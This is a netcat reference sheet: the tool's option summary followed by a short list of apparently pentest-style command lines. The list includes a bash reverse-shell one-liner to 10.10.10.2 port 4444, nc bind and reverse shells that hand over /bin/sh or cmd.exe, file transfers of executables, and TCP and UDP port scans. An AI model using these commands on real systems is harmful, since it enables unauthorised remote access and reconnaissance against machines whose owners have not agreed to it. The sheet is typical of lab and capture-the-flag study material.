nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]

      [-m minttl] [-O length] [-P proxy_username] [-p source_port]
      [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
      [-X proxy_protocol] [-x proxy_address[:port]]       [destination] [port]
    Command Summary:
        -4      Use IPv4
        -6      Use IPv6
        -b      Allow broadcast
        -C      Send CRLF as line-ending
        -D      Enable the debug socket option
        -d      Detach from stdin
        -F      Pass socket fd
        -h      This help text
        -I length   TCP receive buffer length
        -i interval Delay interval for lines sent, ports scanned
        -k      Keep inbound sockets open for multiple connects
        -l      Listen mode, for inbound connects
        -M ttl      Outgoing TTL / Hop Limit
        -m minttl   Minimum incoming TTL / Hop Limit
        -N      Shutdown the network socket after EOF on stdin
        -n      Suppress name/port resolutions
        -O length   TCP send buffer length
        -P proxyuser    Username for proxy authentication
        -p port     Specify local port for remote connects
        -q secs     quit after EOF on stdin and delay of secs
        -r      Randomize remote ports
        -S      Enable the TCP MD5 signature option
        -s source   Local source address
        -T keyword  TOS value
        -t      Answer TELNET negotiation
        -U      Use UNIX domain socket
        -u      UDP mode
        -V rtable   Specify alternate routing table
        -v      Verbose
        -W recvlimit    Terminate after receiving a number of packets
        -w timeout  Timeout for connects and final net reads
        -X proto    Proxy protocol: "4", "5" (SOCKS) or "connect"
        -x addr[:port]  Specify proxy address and port
        -Z      DCCP mode
        -z      Zero-I/O mode [used for scanning]
    Port numbers can be individual or ranges: lo-hi [inclusive]

nc -lvp 10.10.10.2 80

nc -nlvp 10.10.10.2 4444 > incomming.exe

nc -nv 10.10.10.2 4444 < /Downloads/wget.exe

nc -nlvp 10.10.10.2 4444

bash -i >& /dev/tcp/10.10.10.2/4444 0>&1

nc 10.10.10.2 4444 -e /bin/sh

nc -nlvp 4444 -e cmd.exe

nc -nv <ip> 4444

nc -nvv -w 1 -z 10.10.10.20 3380-3390

nc -nv -u -z -w 1 10.10.10.20 160-162